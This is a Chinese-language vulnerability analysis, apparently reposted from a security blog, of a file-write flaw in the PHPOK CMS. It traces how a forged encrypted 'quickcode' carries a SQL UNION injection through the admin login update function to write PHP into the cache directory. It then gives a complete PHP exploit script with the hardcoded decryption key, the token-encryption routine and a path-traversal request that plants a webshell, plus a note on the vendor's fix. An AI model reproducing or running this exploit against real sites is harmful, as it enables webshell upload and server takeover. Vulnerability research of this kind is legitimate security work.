0x01 路由分析 网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php这里执行,进行初始化处理 我们以action_admin为例,func分别通过get请求中的c和f获取,默认值为i...
0x01 路由分析
网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php
这里执行,进行初始化处理
我们以action_admin
为例,$ctrl
和$func
分别通过get请求中的c
和f
获取,默认值为index
然后在_action_phpok4
中调用相关的控制器和方法,例如访问http://127.0.0.1/admin.php?c=appsys&f=create
就会调用frameworkadminappsys_control.php
中的create_f
方法
0x02 漏洞分析
漏洞存在文件:framework/admin/login_control.php
中的update_f
,这个方法的最后调用了vim
函数,
查看vim
可以看到他传入的两个分别是写入的内容和文件名,从而实现任意文件写入
这里的第二个参数$this->dir_cache.$fid.'-'.$fcode.'.php'
中,$fid
和$fcode
都是可控参数,可以直接通过get获取到
接下来看第一个参数$data
,framework/libs/json.php
中的encode
方法是将数据转换成json数据,这里不用太多关注,向上追踪查看$data
是否可控
可以看到这里的$data
是通过$rs['id']
,$rs['account']
和时间戳组成,继续追踪$rs
这里的$rs
有两种赋值方式:
当没有传入quickcode
参数时,需要传入user
和pass
,然后将user
带入数据库查询相关信息并验证账号密码是否正确,但是,由于这里传入的时明文,尖括号,引号等特殊字符会被进行编码过滤,所以这里进行sql注入或者写入shell。
所以我们来看第二种情况,当传入quickcode
参数时,首先会对其进行解码得到$msg
,然后将$msg['id']
带入数据库查询相关信息得到$rs
,而且这里只是验证了查询出的用户名是否和传入的用户名一致。最重要的一点是,由于传入的字符时加密过后的,所以解密后的内容不会被过滤编码,可以顺利构造payload进行sql注入。
所以这里我们需要解决的就是使得$rs['id']
,$rs['account']
可控
由于get_one()
方法是通过id拼接sql语句进行查询的
所以我们可以通过
$msg['id']
等于-2'union select '<?php echo "test_vuln";?>',2,3,4,5,6,7,8,9,10,11#
$msg['user']
等于2
与上面sql注入的第二列一致以使得下面if判断$rs['account'] != $msg['user']
不成立
$msg['domain']
等于目标域名使得$msg['domain'] != $domain
不成立
$msg['time']
等于当前时间使得数据不超过30天
接下来这里主要来看看其时如何进行加密解密的,以便后续我编写加密脚本。
根据$msg = $this->lib('token')->decode($quickcode);
我们查看framework/libs/token.php
这个文件的decode
方法
同时可以发现有加密和解密的函数,是一个对称加密,所以我们需要寻找加密的密钥
查看解密密钥解密密钥是$this->dir_cache.$fid.'.php'
的md5值
即api.php
的md5值,为fb0b413b67dad231a42a6cd8facd5202
所以我们删除加密函数的部分剩下直接照搬复制粘贴写exp(注意直接替换keyid为fb0b413b67dad231a42a6cd8facd5202)
<?php
class token_lib
{
private
$keyid
=
''
;
private
$keyc_length
= 6;
private
$keya
;
private
$keyb
;
private
$time
;
private
$expiry
= 3600;
private
$encode_type
=
'api_code'
; //仅支持 api_code 和 public_key
private
$public_key
=
''
;
private
$private_key
=
''
;
public
function
__construct
()
{
$this
->time = time();
}
public
function
etype(
$type
=
""
)
{
if
(
$type
&& in_array(
$type
,array(
'api_code'
,
'public_key'
))){
$this
->encode_type =
$type
;
}
return
$this
->encode_type;
}
public
function
public_key(
$key
=
''
)
{
if
(
$key
){
$this
->public_key =
$key
;
}
return
$this
->public_key;
}
public
function
private_key(
$key
=
''
)
{
if
(
$key
){
$this
->private_key =
$key
;
}
return
$this
->private_key;
}
/**
* 自定义密钥
* @参数
$keyid
密钥内容
**/
public
function
keyid(
$keyid
=
'a'
)
{
if
(!
$keyid
){
return
$this
->keyid;
}
$this
->keyid =
"fb0b413b67dad231a42a6cd8facd5202"
;
$this
->config();
return
$this
->keyid;
}
private
function
config
()
{
if
(!
$this
->keyid){
return
false
;
}
$this
->keya = md5(substr(
$this
->keyid, 0, 16));
$this
->keyb = md5(substr(
$this
->keyid, 16, 16));
}
/**
* 设置超时
* @参数
$time
超时时间,单位是秒
**/
public
function
expiry(
$time
=0)
{
if
(
$time
&&
$time
> 0){
$this
->expiry =
$time
;
}
return
$this
->expiry;
}
/**
* 加密数据
* @参数
$string
要加密的数据,数组或字符
**/
public
function
encode(
$string
)
{
if
(
$this
->encode_type ==
'public_key'
){
return
$this
->encode_rsa(
$string
);
}
if
(!
$this
->keyid){
return
false
;
}
$string
= json_encode(
$string
,JSON_UNESCAPED_UNICODE);
$expiry_time
=
$this
->expiry ?
$this
->expiry : 365*24*3600;
$string
= sprintf(
'%010d'
,(
$expiry_time
+
$this
->time)).substr(md5(
$string
.
$this
->keyb), 0, 16).
$string
;
$keyc
= substr(md5(microtime().rand(1000,9999)), -
$this
->keyc_length);
$cryptkey
=
$this
->keya.md5(
$this
->keya.
$keyc
);
$rs
=
$this
->core(
$string
,
$cryptkey
);
return
$keyc
.str_replace(
'='
,
''
, base64_encode(
$rs
));
}
/**
* 基于公钥加密
**/
private
function
encode_rsa(
$string
)
{
if
(!
$this
->public_key){
return
false
;
}
$string
= json_encode(
$string
,JSON_UNESCAPED_UNICODE);
openssl_public_encrypt(
$string
,
$data
,
$this
->public_key);
return
base64_encode(
$data
);
}
private
function
core(
$string
,
$cryptkey
)
{
$key_length
= strlen(
$cryptkey
);
$string_length
= strlen(
$string
);
$result
=
''
;
$box
= range(0, 255);
$rndkey
= array();
// 产生密匙簿
for
(
$i
= 0;
$i
<= 255;
$i
++){
$rndkey
[
$i
] = ord(
$cryptkey
[
$i
%
$key_length
]);
}
// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
for
(
$j
=
$i
= 0;
$i
< 256;
$i
++){
$j
= (
$j
+
$box
[
$i
] +
$rndkey
[
$i
]) % 256;
$tmp
=
$box
[
$i
];
$box
[
$i
] =
$box
[
$j
];
$box
[
$j
] =
$tmp
;
}
// 核心加解密部分
for
(
$a
=
$j
=
$i
= 0;
$i
<
$string_length
;
$i
++){
$a
= (
$a
+ 1) % 256;
$j
= (
$j
+
$box
[
$a
]) % 256;
$tmp
=
$box
[
$a
];
$box
[
$a
] =
$box
[
$j
];
$box
[
$j
] =
$tmp
;
$result
.= chr(ord(
$string
[
$i
]) ^ (
$box
[(
$box
[
$a
] +
$box
[
$j
]) % 256]));
}
return
$result
;
}
}
function
exploit(
$url
,
$filename
,
$code
){
$data
= array(
'id'
=>
"-2'union select '
$code
',2,3,4,5,6,7,8,9,10,11#"
,
'user'
=> 2,
'time'
=> time(),
'domain'
=>
'127.0.0.1'
);
$token
= new token_lib();
$token
->keyid(
"aa"
);
$quickcode
=
$token
->encode(
$data
);
echo
$quickcode
;
echo
"<br/><br/>"
;
$html
= file_get_contents(
$url
.
"admin.php?c=login&f=update&fid=../api&fcode=/../_cache/
$filename
&quickcode="
.
$quickcode
);
if
(stripos(
$html
,
"success"
) !== False) {
print
"Success,webshell: "
.
"
$url
"
.
"_cache/
$filename
.phpn"
;
}
else
{
print
"Error"
;
}
}
exploit(
"http://127.0.0.1/"
,
"vul"
,
'<?php echo "test_vuln";?>'
);
运行此exp会得到$quickcode
的值,并将其带入到url里执行
http://127.0.0.1/admin.php?c=login&f=updatehttp://127.0.0.1/admin.php?c=login&f=update&fid=../api&fcode=/../_cache/vul&quickcode=quickcode
成功写入到/_cache/vul.php
在最新版本中已修复该漏洞,修复方式就是将vim
改成vi
,在vi
中会在最前面添加if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}
即使后面有php代码也不会执行。
文章来源于:https://forum.butian.net/share/2305
若有侵权请联系删除
加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):某开源系统文件写入漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论